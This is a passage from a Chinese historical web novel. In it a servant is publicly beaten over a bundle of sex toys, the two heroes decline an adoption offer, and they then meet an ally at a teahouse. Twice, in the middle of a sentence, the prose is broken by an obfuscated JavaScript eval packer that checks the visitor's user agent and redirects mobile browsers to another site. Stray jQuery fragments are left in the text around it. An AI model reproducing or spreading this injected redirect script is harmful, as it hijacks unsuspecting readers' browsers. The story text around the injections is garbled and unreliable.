宋旌与柳悬被堵在由里三层、外三层的人丛所包裹的是非之地,寸步难行。 见对方只是几个不长眼的奴才,宋旌本想上前去将他们一同驱散,可柳悬却忽然出声制止了他,示意他稍安勿躁,先看看里面究竟会发生什么。 人群中,那身材娇小的男子正围着另一个同样脚踏草鞋的高挑男子,慢慢悠悠地转圈。 “昨晚伺候了公子一夜,今日不好好待在屋内休息,反而起个大早。” “这是打哪儿来,又急着去哪儿献宝呢?” 那身材娇小的男子上下打量起面前那高挑的男子,嘴角挂着一抹不怀好意的笑,言语间隐约透露出几分嫉妒、酸涩与挑衅。 一行人像是故意在此等候着那高挑男子一般,将他堵在落霜院门前,引来许多闲来无事的门生在旁冷眼围观。 那高挑男子面容清俊、秀丽,但是面色苍白,神色疲惫,身形消瘦,即便是这炎炎夏日,也裹着四五件长袖里衣,似乎有些畏寒。 人群外,宋旌只瞧见那男子怀中紧抱着一个棉布包袱,眉头微皱,不愿与那娇小男子多费唇舌,低下头,轻侧身,准备绕开那阴魂不散的小个子,继续前行。 那娇小男子见高挑男子不答,愈发的得寸进尺,一步跨上前,挡在他面前,伸手阻断他的去路,手指直戳他的胸口:“莫非是公子又赏给你什么稀罕玩意儿?你不肯拿出来给大伙瞧瞧?” “对啊!” “拿出来看看呗~” “是啥好东西呀?抱得那般紧~” 周围起哄的人越来越多,混乱的场面一度失控。 在这些看热闹不嫌事大的人中,既有那娇小男子唤来的帮手,也有那不知内情的看客。 在众人的环视下,高挑男子吓得连退数步,紧抿起一片薄唇,像是一只受惊失措的野兔,急欲逃脱群狼的包围。 慌乱之间,那高挑男子被众人围得喘不过气来,他在逐渐围拢的人群中无助地横冲直撞,好几次意图错开那挡住去路的数道人墙,为自己谋一条生路,却始终未能如愿。 那娇小男子步步紧逼,死活不让高挑男子离开。 “站住!” “我让你走了吗?” 在高挑男子即将逃脱之际,那娇小男子同帮手再次抓住他,紧紧拽住他的衣领,将他推搡至更宽阔的地带。 周围人见状,急忙四散而开,生怕自己被殃及池鱼,卷入这场无妄的风波。 那娇小男子的双眸中,有一簇怨毒之火正在熊熊燃烧,他死死地盯着眼前那娇弱的高挑男子。 “想逃?你逃得掉吗?”他猛地一推,高挑男子的身形一晃,险些摔倒,“你怀里藏着什么不可告人的秘密,如此遮遮掩掩?今日你若不乖乖打开那包袱,让我瞧个究竟,就别想踏入落霜院半步!” 高挑男子在娇小男子的连连推搡下,脚步踉跄,如狂风中的落叶,飘忽不定。 突然,他脚下一绊,被一块不起眼的小鹅卵石绊了个趔趄,整个人失去重心,重重地摔在尘土飞扬的青石板上,狼狈至极。 即便如此,高挑男子也未曾松手,他依旧紧抱住怀中的包袱,仿佛那是比他的安危还要更重要的东西。 高挑男子的眼中闪过一丝愠怒,但更多的是坚定。 “含光,你休要无理取闹!”高挑男子厉声喝道,声音中有不容置疑的决绝,“此乃公子私物,岂容你等随意窥视?又怎可轻易示人?” “无理?” “窥视?” 被唤作“含光”的娇小男子像是听见了什么天大的笑话,哼笑一声,脸上的笑容瞬间变得狰狞而扭曲,笑声也变得尖锐且刺耳,“我乃公子身边的管事,想检查你这个奴才的手脚是否干净,身上是否私自夹带公子之物,所行之事皆是为公子考虑,何来无理、窥视之说?” 说罢,他猛地抬起脚,突然踹向高挑男子的右肩,力度之大,竟将高挑男子直接撂翻在地,砸得尘土激扬。 含光的眼中闪烁着残忍的光芒,他一脚踩在高挑男子的右肩上,用力碾压,仿佛要将所有的怨气和怒火都发泄在这个无助的男子身上。 “你?不过就是个随时供公子玩乐的物件罢了,竟也敢妄图与我抗衡?”含光嘴角勾起一抹嘲讽的笑,声音里满是轻蔑与不屑,“就凭你这卑贱之身,也配来教训我?” 一番肆意的蹂躏之后,含光这才暂且收手,他慢条斯理地挽起衣袖,将那双白皙的手臂悠闲地环抱于胸前,以一种俯瞰众生的姿态,傲然挺立。 含光若无其事地打了个哈欠,仿佛刚刚那场暴行只是他茶余饭后的一个小小消遣。 随后,含光漫不经心地抬起一只修长的手指,弹了弹并不存在的灰尘,而另一只脚则依然牢牢地踩在高挑男子的肩上,那姿态仿佛是在向众人宣告他对这个男子的绝对控制权。 他的眼里满是鄙夷与残忍,他用余光瞥向地上的高挑男子,就像是在看一只待宰的羔羊。 “识相的话,就把东西交出来,否则……”含光的目光如狼似虎般锁定在高挑男子的怀里,他缓缓抬起那只放在男子肩上的脚,蹲下身子,一把揪起男子的衣领,强迫他与自己对视,恶狠狠地威胁道,“否则,可别怪我心狠手辣!” 男子疼得青筋暴起,冷汗涔涔而下,那张本就苍白的脸庞在含光的折磨下更是变得毫无血色。 然而,男子的眼中始终闪烁着不屈的光芒。 “含光!你如此行径,难道就不怕公子事后知晓,对你大发雷霆吗?” 男子紧紧护住怀里的包袱,用那双倔强的眼睛直视含光,声音颤抖,却坚定不移。 “况且,公子如何待我,那是公子的事,你一个小小侍郎,有何资格在此妄言?” 男子咬紧牙关,即便肩膀上的疼痛让他几乎窒息,他也依然没有半点松开包袱的意思。 “哟,还真是嘴硬!”含光被男子的倔强激怒,他一把抓住男子的头发,五指如钩般深深嵌入发丝,猛地一拽,阴冷地笑道,“你也不看看自己是什么货色?真以为公子会把你这种下贱的玩意儿放在心上?公子与你缠绵,不过就是图个一时新鲜罢了。” 含光眉头紧锁,仿佛提到了什么令他作呕的事情,他恶心地啐了一口,继续讥讽男子道:“等公子玩腻了你,你还不是得乖乖地从哪儿来就滚回哪儿去?你还真指望公子会大发慈悲,替你摆脱这奴籍的身份?” “你……你休要血口喷人!!!”高挑男子双眼圆睁,眼眶泛红,浑身因愤怒和疼痛而颤抖,他紧紧盯着含光,仿佛要将对方生吞活剥一般。 “公子对我情深意重,岂容你这等卑鄙小人肆意诋毁?”男子的声音沙哑,却满载着一身傲骨,“我与公子的情谊,我心自明,无需你这局外人来妄加评判!” 在男子看来,似乎含光对公子与他之间情谊的质疑,比任何凌辱与折磨都要更为残忍。 他挺直了脊梁,怒视含光,尽管身躯因伤痛而颤抖,但那份不肯服输的傲气却如磐石般屹立不倒。 此时,含光的耐心已被男子消磨殆尽。 “啪!”的一声脆响,含光的巴掌狠狠地甩在了男子那张细皮嫩肉的脸上。 “哟~还情深似海呢!”男子的话语似乎触动了含光的敏感神经。 含光怒吼一声,欺身而上,企图夺取男子怀中的包袱。 然而,男子却倾力抱住包袱,如同护住自己的性命一般,让含光费了九牛二虎之力也未能得逞。 含光恼羞成怒,“啪”的又是一巴掌,扇得男子头晕目眩,唇角开裂。 含光恶狠狠地骂道:“你也不瞧瞧你那五大三粗的粗鄙模样,你有哪一点能与我相提并论?” “公子现在宠你,不过是眼下觉得你会点把戏,有点意思,才赏你这个要饭的一口饭吃。”含光冷冷地揶揄着,用膝盖狠狠地顶住男子的胸膛,像拔树根一样,拼命拽着男子怀里的包袱。 可是即便如此,含光依然未能得手。 “他妈的,你个下贱胚子还真把自己当根葱了?”含光狞笑着,一只铁钳般的大手猛地扼住了男子的咽喉,咆哮道:“小贱种,你别以为,你仗着公子宠你几分,你就能把自己当成高高在上的主子了!人活着,总要掂量掂量自己是个什么样的东西!今日,我便替公子好好教教你,让你知晓自己到底是个什么样的身份!” 说着,含光掐着男子的脖子,巴掌如雨点般纷纷落在男子的脸上。 那高挑男子的脸庞迅速肿胀,两颊鲜红一片,宛如被狂风肆虐后的山川,耸起两座高高的小山,他的眉眼间流露出极度的痛苦与屈辱,眼眶中仿佛有泪光在闪烁,却倔强地不肯落下。 即便如此,男子依然紧紧抱着怀中的包袱,手指因用力过猛而泛白,全身颤抖着,却依然咬牙坚持道:“含光,你我同为公子效力,你怎能如此咄咄逼人?难道你就不怕公子知晓后,对你心生厌恶吗?” “公子知晓了又如何?”含光面容愈发狰狞,他有恃无恐地“哈哈”大笑,那笑声如夜枭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14210035|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啼叫,让人毛骨悚然。接着,他鄙夷地瞥了那男子一眼,随后朝男子那清癯又愚蠢的脸庞,狠狠地吐了一口唾沫,不以为意道:“公子可不会为了你这么个卑贱的东西,来责罚我。” 说完,含光满意地起身,以一种命令式的姿态,招呼上身后看戏的帮手们,准备合力强夺含春手中紧握的包袱。 含光的眼神中充满了贪婪与嚣张,仿佛这一切,都逃不出他的掌心。 就在这紧要关头,一道威严中夹杂着一丝不耐烦的女声,从落霜院里炸响。 “大清早,吵吵什么?” 随着话音落下,一个年轻貌美、珠围翠绕的女子,身着繁复精致的绫罗绸缎,悠悠忽忽,缓步走出落霜院。 她的出现,让整个落霜院都为之一静。 含光眼尖,一见来人,那嚣张的气焰瞬间收敛,取而代之,是一副谄媚至极的丑恶嘴脸。 含光恭恭敬敬地行了礼,口中尽是甜言蜜语:“回夫人的话,含春这个狐媚子定是藏了什么见不得人的狐媚玩意儿,现下不肯拿出来,我这也是为公子的安危着想。” 来人是一个雍容华贵的夫人,那夫人轻抬美目,冷冷地掠过那被打得鼻青脸肿的高挑男子——含春,轻嗤一声。 随后,夫人轻轻抬手,虚扶发髻,眼底闪过一丝狠厉,朝含光轻轻扬了扬下巴,使了一个眼色,语气冷淡道:“既是要查,还不快些?都堵在这儿像什么话?也不怕被人看了笑话去。” 说完,夫人便被左右两侧的侍婢搀扶着双手,往旁边挪了几步,竟也饶有兴致地围观起这场闹剧来。 含光得了夫人的默许,气势更盛。 他挥手招呼上那些蓄势待发的奴仆,众人一拥而上,将含春牢牢困住。 有人从背后摁住含春的肩,有人从左右两侧分别困住含春的胳膊和腿,还有人死命地拽住含春的发根,用力地往后扯。 含春被众人牢牢地按死在地上,动弹不得,只等含光几步上前,轻轻一扯…… “哗”地一声,含春不惜一切、拼死守护的包袱被含光轻而易举地扯散在地,里面的物件散落一地,发出丁零当啷的响声。 “咦——”人群中,有视力极佳的人一眼就瞧见了地上的缅铃、银托子、硫磺圈与悬玉环等物件,齐齐发出戏谑的唏嘘声。 人群外,同样五感敏锐的宋旌一把捂住了柳悬的眼睛,生怕他被这些不堪入目的东西弄脏了心情。 等众人看清地上的物件时,他们纷纷交头接耳,指指点点,脸上流露出玩味、不屑与嘲讽的哂笑,不停地打量起地上被扯得衣衫凌乱、半露香肩的含春,而含春只能被众人架着,强行忍受一道道视线的凌迟。 就在这时,一道冷冽的男声从人群外响起:“都当我死了吗?” 众人回头一看,只见禇地缂州折冲府都尉之子,魏凡,正一脸怒意,矗立在离落霜院不远的凉亭旁。 魏凡几步上前,一脚踢飞揪住含春的奴仆,厉声呵斥道:“谁给你们的胆子?我的人也敢动?” 那看戏的夫人,原来是魏凡的妾室魏王氏。 魏王氏见魏凡归来,知道这场戏无法再演下去,于是立马换上一副温顺的模样,匍匐在魏凡的身上,娇滴滴地说:“夫君今日怎回这般早?可是有什么要紧的事?” 含光见魏凡发怒,吓得浑身一颤,也急忙跪伏在地上,瑟瑟发抖地解释道:“主子,我……我也是为了主子您的安危着想,生怕有什么不轨之物混入其中。之前含春一直藏着掖着,我也是一时情急,才如此冲动,还请主子恕罪。” 魏凡瞥了一眼地上吓破了胆的含光,又扫过怀里的魏王氏,最后将目光落在正默默收拾地上残物的含春身上。 含春独自将地上的缅铃、悬玉环等物挨个塞进怀中,又将几个被油纸细心包裹的虎头包小心翼翼地装进棉布包里,然后温顺地唤了一声“主子”。 魏凡移开视线,将魏王氏扯到一旁站着,面色稍霁,向含春吩咐道:“你先回去。” 含春颔首,抱紧怀里的东西,听话地离去了。 含春一走,魏凡的怒气再次涌上心头。 他仰头叉腰,轻揉凸起的额角,然后一脚狠狠地踹在含光的背上。 含光被魏凡踹得贴地滑行,如一只蹴鞠般飞了出去,重重地撞在石阶上,口吐出一大片鲜血。 即使含光蜷缩成一团,呻吟不止,魏凡也不觉解气,他冲上前,将含光摁在地上一顿暴揍,直揍含光鲜血四溅、视线模糊,才悻悻然,停了手。 魏凡直起身,用一块上好的丝娟擦干净手上的血渍污秽,然后嫌恶地扔在含光的头上,又朝含光唤道:“含光,过来。” 被打得奄奄一息的含光,像一条狗一样手脚并用,毫无尊严,爬行至魏凡脚下,用袖子替魏凡擦干净皮靴上沾染的鲜血,低声下气地回道:“奴才在。” “待会把你自己收拾好,速去往日取药的地方,再抓几副治头痛的药来。我近日头疼得厉害。”魏凡嫌恶地挪开脚,朝含光头顶啐了一口唾沫星子,然后他又蹲下身子,捏住含光的下颌,迫使含光抬起头,警告道:“以后该你做的事,一件都别落下;不该你做的事,想都不要想!” 含光被魏凡的手大力擒住,颌骨被捏得咯咯直响,疼得他眼泪直流,却只能卑微地应道:“是,是奴才犯贱,惹得主子不快,奴才甘愿受罚。” “哼,”魏凡讪笑一声,蓦地松开那只钳制含光的手,又拍了拍含光的脸,视如草芥道,“一个两个,都是贱种。” 魏凡站起身,又瞪了一眼看戏的众人。 众人被魏凡那颇为凶狠的眼神吓得心惊胆战,纷纷败兴而去。 直到人潮散尽,魏凡这才抬脚走进落霜院,唯留下一片狼藉与含光那狼狈不堪的身影。 17.回府 魏凡走了,围观的人也作鸟兽状散了。 宋旌仍讶异于那一场大戏,未曾留意柳悬何时让他松开了捂眼之手,又何时为他在割破的拇指上抹了冰凉的伤药。 魏凡,在宋旌的记忆里,只是一个模糊的影子,宋旌关于这个人的记忆,除了他是魏鹏之子,是英才院里有名的纨绔,向来欺软怕硬,脾气颇为暴躁以外,相比于他那未来会协助贼子谋反的爹,宋旌只记得他与一桩昔日轰动英才院的案子有所关联,但其中的具体情节却早已忘得一干二净。 有时,宋旌也会懊悔,深感自己当年因醉心于习武练兵,而不理时局朝政,更瞧不上军营以外的庸人俗事,着实不该! 否则,他也不至于像现在这般,犹如一只无头苍蝇,想提前着手准备,给暗处的敌人杀个措手不及,阻止未来可能会发生的种种祸乱,将那些乱臣贼子连根拔起,但却只觉得思绪繁杂、无从下手、力不从心。 “走吧,不能再耽搁了。”柳悬将装有伤药的瓷瓶塞进随身携带的鱼袋中,自行扶住木轮,向前推行。 宋旌后知后觉,瞧见拇指上未干透的白色药膏,心头一暖,稍一愣神,连忙快步追上柳悬,腆着脸,嬉笑道:“谢谢哥哥。” 后面一段路,或许是为了避免宋旌蹭掉拇指上的药,柳悬没让宋旌插手,自行将轮椅推行至英才院的坊墙外。 宽阔的官道上,飞雪与轻红在路旁已等候多时。 此时,轻红正在匾额下来回渡步,飞雪则侧坐在车辕上假寐。 见柳悬从院里出来,飞雪睁开眼,轻红也连忙小跑至柳悬身边。 “公子,你们可算是出来了,你要再耽搁一阵子,我就要进去寻你了。” 轻红一脸焦急,又带有几分埋怨,她实在是不放心让柳悬同宋旌单独待一起,生怕柳悬叫宋旌欺负了去。 柳悬宽慰了轻红两句,在宋旌的帮助上坐上马车。 马车从英才院到将军府会经过盛京最繁华的坊市——宝华坊。 宝华坊中人声鼎沸、热闹非凡。 即使隔着一道等身高的坊墙,柳悬在马车上也能听见里面的盛况。 在熙熙攘攘的街道上,各色小店铺子琳琅满目,招牌幌子随风摇曳,小贩们的吆喝声此起彼伏,他们或手持糖人草垛,或肩挑藤编货郎担。 酒楼茶肆里热气腾腾、香气扑鼻,还有那说书先生,一拍惊堂木,讲述起一段鲜为人知的离奇故事,其中食客或坐或立,在众人推杯换盏间,欢声笑语不断,那热闹非凡的景象,仿佛能将人的一切忧愁一扫而空。 “哥哥想看,等那日闲了,我亲自带哥哥来就是,这坊间要等夜里点上灯火,那才算是真的热闹呢!” 宋旌见柳悬撩起帷裳往外看,以为柳悬是被坊间的繁荣景象所吸引,一想到以前自己出门总找各种理由推脱父母的要求,不爱带柳悬一起,而柳悬的性子又闷得很,在京中没有什么朋友,想来应该极少会主动出门闲逛,便信誓旦旦地许下诺来。 柳悬放下帘子,未置可否,只淡淡地凝望了宋旌一眼,瞧了片刻,又闭上眼,一直到马车行驶至宋府门外,宋旌将柳悬带下马车的时候,柳悬才轻抬起双眸。 不出柳悬所料,宋言章夫妇早已在府内等候多时,韩书月自早上听说柳悬今日回府的消息后,便喜不自胜,忙前忙后,亲自张罗起午间的膳食,而宋言章自散朝后,也一直待在府中,哪儿也没去,就等宋旌与柳悬一起回府。 宋言章其实一直想将柳悬收为义子。 这一来,是因为宋言章心中有愧,当年柳行舟曾修书于他,陈述桃州危情,请他上禀朝堂,请求圣上遣兵支援,而他那时忙于槐地流寇之乱,受皇室之争牵绊,未能及时救援,错失良机,致使桃州之难,这是他心里一直过不去坎儿。 这二来,是因为宋言章年轻时曾与柳行舟约定,倘若两人将来的孩子是一男一女便促成其结为秦晋之好,若是两男或两女便促使其结拜为异姓兄弟或姐妹,如今,柳行舟夫妇已相继离世,留下柳悬孤苦一人,宋言章心中满是怜惜,他也希望宋家能成为柳悬的倚靠,给柳悬一个温暖的新家,以践行当年与柳行舟的约定。 不过这事宋言章以前一直没提,因为柳悬与宋旌的关系不好,怕两人都不乐意。 结果,今日在用膳时,宋言章见宋旌与柳悬的关系果真亲近了许多,比如宋旌会主动给柳悬添菜盛汤,还会在布菜前仔细替柳悬去骨剔刺,宋旌那小心翼翼的模样,简直比宋言章照顾他自己的媳妇儿还要上心。 宋言章见状,便壮着胆子,在饭桌上提了一嘴:“说来也是奇怪,我平日里倒未曾发觉咱们鹑儿竟有这般体贴入微的一面,对他柳哥哥照顾得无微不至,既然鹑儿眼下这般欢喜他柳哥哥,那要不就择个良辰吉日,让子夏正式给我俩敬一杯父母茶,顺便也将这称呼改一改,让他俩这份兄弟情谊更为名正言顺,如何?” 然而,令宋言章始料未及的是,他的话甫一出口,宋旌便猛地一拍桌子,一改方才那轻声细语的柔情模样,向他爹斩钉截铁地拒绝道:“不行!我不同意!!!” 宋旌这突如其来的反应,让饭桌上的气氛顿时凝固。 宋言章与韩书月面面相觑,还以为宋旌是心里吃味,不愿意多个哥哥来分担父母对他的宠爱,所以才会如此激烈地反抗,一时之间竟也不知该如何是好。 倒是柳悬,见宋旌比他预想的反应还要更强烈一些,心中不免有些诧异。 然而,宋旌的脸上并未流露出愤怒或厌恶之色,反而满是焦躁、不安与恐惧,这让柳悬不由得一愣。 柳悬的余光瞥见宋言章面色渐沉,似有发作之势,便连忙抢先一步,按住了同样蠢蠢欲动、欲掀桌而起的宋旌。 他语气诚恳地向宋言章解释道:“子夏深感伯父伯母的厚爱,但自觉福薄,终有一日要回到桃州。” “若子夏今后真以义子之名,受宋家祖荫庇佑,却无法事事躬亲,时刻侍奉于双亲左右,那子夏岂不是要背上那不孝之名?鹑儿他……” 说到这儿,柳悬忽觉宋旌的身子突然微微一颤,他下意识地侧目望去,只见宋旌的脸色红得如同冬月里熟透的柿子,那红晕一路从脸颊蔓延至耳根,就连那白皙的后颈也染上了一抹淡淡的粉红色。 柳悬见此情景,嘴角不自觉地上扬,眉眼间满是笑意,仿佛春日里盛放在曦阳下的一朵桃花,明媚而动人。 柳悬浅笑吟吟,继续说道:“鹑儿他只是为我考虑得更多罢了,还请伯父伯母莫要因我而错怪了他。” 有柳悬帮忙从中斡旋,宋言章的情绪很快就平复下来,他轻叹一声,只道:“罢了罢了,名份之事不过是个形式,我们真正希望的是,子夏你能别把宋家当外人。” 柳悬含笑颔首,轻轻移开覆于宋旌手背之上的手,旋即起身,向宋言章夫妇郑重作揖,言辞恳切道:“伯父伯母于子夏而言,恩重如山,在子夏心中,早已与双亲无异。” 经柳悬一番调解,那一场无足轻重的小风波逐渐烟消云散,屋内又恢复至起初那般祥和之景。 用过午膳,宋旌与柳悬陪韩书月在院中闲话家常,期间宋言章还将宋旌唤去,与他切磋一番,意在检验他离家这段时日,是否有荒废武艺,是否依旧勤勉练功。 天色渐沉,由乌云纺织的黑色幕布将最后一抹余晖也包裹其中,吞噬殆尽。 韩书月坐于香竹风炉之前,亲手烹制起花果茶,她偶尔望向窗外,只见一群飞鸟慌乱撞于屋檐上,她不由地眉头紧锁。 “瞧这天色,暴雨将至,你俩今日不如留于府中安歇?你们的房间,我每日命人勤勉洒扫,住一晚,应也无妨。”韩书月看似随意一问,实则是在试探柳悬与宋旌的想法。 柳悬虽看出了韩书月眼中的不舍,但他也怕今日不走,明日便再也走不了了,他可不想就这般顺理成章地日日留在宋府,更不想让宋旌就那般轻而易举地完成宋言章所交代的任务,毕竟他也觉得,即便宋言章的原话是“讨子夏欢心后,再请他回来住”,可是他若真留下一日,那宋旌就算未真的讨得他的欢心,他也没有理由再走,且宋言章确实不会过分苛责于宋旌。 “伯母,我……”柳悬心中一番思量,最终还是决定婉拒韩书月的一片好意。 “娘,算了吧,”柳悬正在措辞时,宋旌已先声夺人,主动替他回绝道:“那王学博又差人送来诸多书册,嘱咐哥哥务必在小考前修订完毕,时间紧迫,任务繁重,一刻也耽误不得。” 说着,斜倚在美人榻上的宋旌,直直望向柳悬,巧笑嫣然,坦言道:“况且,我至今未真正讨得哥哥欢心,哥哥若是留下,怕是瞧在爹娘的情面上,才肯饶过我往昔所犯下的种种过错,可我宋旌身为七尺男儿,怎能倚仗爹娘之势来欺压哥哥?故而,今日你便放我俩回去吧,待小考结束,我定能亲自请哥哥回府。” 就这样毫无遮掩,被宋旌直戳中自己的心思,柳悬有些心虚,他没有答话,只低眉顺眼地端起瓷碗,品了一口碗中的紫笋茶。 韩书月被宋旌那连珠炮似的说服与撒娇弄得哭笑不得,她最终还是无奈让步,摇头轻笑道:“罢了,真是拿你俩没办法!既然去意已决,那便速速离去吧?免得稍后大雨滂沱,行路艰难。” 说完,韩书月还不忘用食指戳了几下宋言章的肋骨,佯装出一副不满的样子,娇俏地嗔怪道:“你这个当爹的该罚!也不与王永道那老家伙提前言明,怎就给子夏委派那么多事务?倘若将子夏的身子累垮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14228915|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看我怎么与你算账!” 教训完宋言章,韩书月又命人备了好些东西,才将柳悬与宋旌送出府。 重重墨云下,宋言章夫妻目送柳悬坐上马车后,韩书月在马车外,又是好一番叮咛嘱托,直叫宋旌好好照顾柳悬的身体。 最终,还是宋言章将依依不舍的韩书月揽进了臂弯里,飞雪才得以找到机会,迅速驾车离去。 回英才院时,坐不惯马车的宋旌还是换成了驾马随行。 当马车驶过宝华坊时,车厢内的柳悬敲了几下车壁,发出不规则的“咚咚”声。 飞雪闻声,便调转了驾驶的方向。 “哥哥不回风斋,这是要去哪儿?”眼见马车的行径偏离了既定路线,宋旌急忙勒紧缰绳,调转马头,紧紧追随柳悬而去。 “今日,宋公子亦赋闲吗?”柳悬没有撩开帷裳,坐于车内,说话时的语气又恢复至往常的模样,与方才在宋府时,截然不同。 宋旌的马与柳悬的马车并驾齐驱。 当柳悬的语气与态度骤然变换时,宋旌竟适应得极快。 此刻,宋旌心中似明镜般清楚,柳悬的言行皆是出于故意想要支开他,让他莫要紧紧相随的目的。 然而,宋旌却故意装作不知,但凡柳悬有问,他必是有答道:“军中有连松打理,其余诸事亦有丹良操心,正如阿娘所言,照顾好哥哥,乃是我当前最为紧要之事,我眼下是恪尽职守,又怎会有闲暇之余呢?” “那宋公子愿跟,便跟着吧。”柳悬见宋旌已明了他的言下之意,却仍不肯离去,便也不再白费口舌,只安然端坐于车内,闭目养神。 飞雪驱策马车,缓缓驶入宝华坊。 宝华坊内,行人寥寥,与先前的繁华喧嚣判若两景,仿佛是因预知到雷雨倾盆,众多食客与商铺纷纷提前收摊,回家避雨。 柳悬的马车最终稳稳停靠在盛京城内最负盛名的茶肆——浮梦斋前。 “公子,到了。”飞雪那略显低沉的声音自车厢外传来,打破了周遭的宁静。 宋旌随之,止步不前。 待宋旌瞧见茶肆的招牌时,他的心里忽然涌上一股说不清道不明的异样之感。 浮生斋? 浮生一梦? 为何他宋旌从未曾耳闻,盛京这寸土寸金的闹市之中,竟还隐匿着一间如此神秘且狭小的茶肆? 从外侧看,茶肆的面积不大,入口宽度还不及普通商铺的一半,茶肆上有一处造型奇特的飞檐,飞檐下挂了两盏走马灯,白日瞧不见光影下的画,再往里看,茶肆的入口处放了一扇高大、古朴且活灵活现的山水万兽屏风,屏风后轻雾缭绕,宛若仙境。 “柳兄。”浮梦斋的入口处,传来一道温润如玉、极具亲和力的声音。 宋旌寻声一瞧,只见斋前郁郁葱葱的绿植旁,正静候着一位翩翩公子,此人正是秾地域使之子,周屹。 周屹的目光在触及马背上的宋旌时,眼中忽闪过一丝惊异,随即又行了一礼,向宋旌恭敬地唤道:“宋小将军。” 宋旌万万没有料到,柳悬要见之人竟会是他? 虽说柳悬日后也会追随周屹,且宋旌忆起两人在英才院时确有些微末交情,但宋旌着实未曾料到,他以为大门不出、二门不迈的柳悬竟在少年时便与周屹交情匪浅,甚至还会私下邀约相见。 周屹与柳悬之间的渊源,就连活了四十余载的宋旌也浑然不知,这不禁让宋旌陷入深思,他俩究竟在何时、因何缘由而相识? 正当宋旌暗自思量时,柳悬已在飞雪与轻红的辅助下,下了马车。 “周兄。”柳悬亦是彬彬有礼,谦恭地回了一礼。 周屹见宋旌是随柳悬而来,心中的防备与敌意消散了几分,他默契地没有多问,只是躬身相邀,笑容满面:“两位请,茶水早已备好,周某在此已恭候多时。” 柳悬闻言,温和一笑,行上石阶,自然而然地与周屹寒暄起来:“早就听闻秾地今年茶叶丰收,品质上乘,想来我待会定是有口福了。” 待柳悬行至斋门前,宋旌从沉思中回过神来,动作利落地翻身下马,一气呵成。 宋旌急忙追上柳悬,有意将柳悬身边的周屹推挤至一侧,自觉地接过轮椅,替柳悬推行,口中不服气地说道:“哥哥若是喜欢吃茶,大可不必找他人讨要,我将军府的茶可是万两黄金难买的贡茶,哥哥还怕喝不痛快吗?” 周屹神色如常,悄然落后几步,步履不紧不慢,跟在两人身后,闻得宋旌所言,随即爽朗应道:“哈哈哈,宋小将军所言极是,周某的茶自是比不得圣上亲赐的茶,不过依周某与柳兄之间的情谊,既然有贵客肯屈尊驾临,周某也定当倾尽所有,以最诚挚的心意来招待二位才是。” 18.闹鬼 谈话间,三人已缓步踏入店内。 浮生斋的室内较之室外,那可是敞亮了许多,穿过那扇绘有山水奇兽的屏风后,眼前豁然开朗,仿佛身临桃源仙境,入目之处竟有一处数丈宽的活水飞瀑如一整块银链般倾泻而下,潺潺水声伴着飞溅的水珠,直落入地下数层,好一番别致的景致。 “周公子,这边请。” 入得店来,那茶肆里的茶博士便主动迎了上来,他先掠过轮椅上的柳悬,眼神中带有几分敬意,又有些刻意的回避;接着,他又反复瞧了宋旌几眼,那眼神似乎在打量宋旌,偷偷确认什么;最后,他的视线才稳稳落在周屹身上,满脸堆笑,仿佛是在迎接一位久违的老友。 身着祥云仙鹤大氅道袍的侍从,恭敬地引领着柳悬一行人,通过一条弧形长廊,环绕一处通天的室内花园,来到一处颇为幽静的厢房。 厢房外,从环廊探出身,向上看,能看见无片瓦覆盖的屋顶有蓝天祥云,祥云中有温暖和煦的阳光似织锦般倾洒而下,与外间狂风大作的阴天相比,不啻天渊。 厢房内陈设简约而不失雅致,最引人注目的,莫过于那一棵枝繁叶茂的活树,它傲然扎根于两张低矮宽阔的胡床之间,一半身姿隐没于青石垒砌的墙体间,一半则肆意生长于墙体外,微风吹过,枝叶轻颤,为这厢房增添了几分野趣。 “宋公子,”柳悬在屋外停下,抬眸望向一只脚已跨入屋内的宋旌,神色不明,语气中带有一丝不易察觉的严肃:“还打算继续跟着吗?” “哥哥在哪儿,我便在哪儿。”宋旌理所当然地答道,丝毫没有离去的打算,仿佛打定主意要让柳悬与宋旌无法单独相处。 周屹的眼珠微微转动,瞅准时机,适时插话道:“听闻这间茶肆日日皆有世间少见的民间表演,比如那出神入化的端公戏,宋小将军若不嫌弃……” “嫌弃。”宋旌是真的一点情面也不肯留给周屹,他毫不犹豫地打断周屹的话,天可怜见儿,委屈巴巴地望着柳悬说:“哥哥若有不能让我听去的事,我不听便是,但我实在放心不下哥哥,即便要我回避,我也不能离哥哥太远。” 柳悬不动声色,径直行至活树下,神色淡然,只回望宋旌一眼,从容应道:“宋公子想听什么,便听什么,柳悬只是怕宋公子无趣罢了。” 树荫下,柳悬盈盈浅笑,那笑容里藏着几分深意,几分玩味,让宋旌捉摸不透他内心的想法,仿佛隔着一层厚重的迷雾,难以触及那隐藏于笑容背后的秘密。 雅室内,琴音悠扬。 炙茶声、碾茶声、水沸声……各种器皿的搅拌声、撞击声,在清新典雅的室内,叮铃当啷,如鸣环佩,不绝于耳。 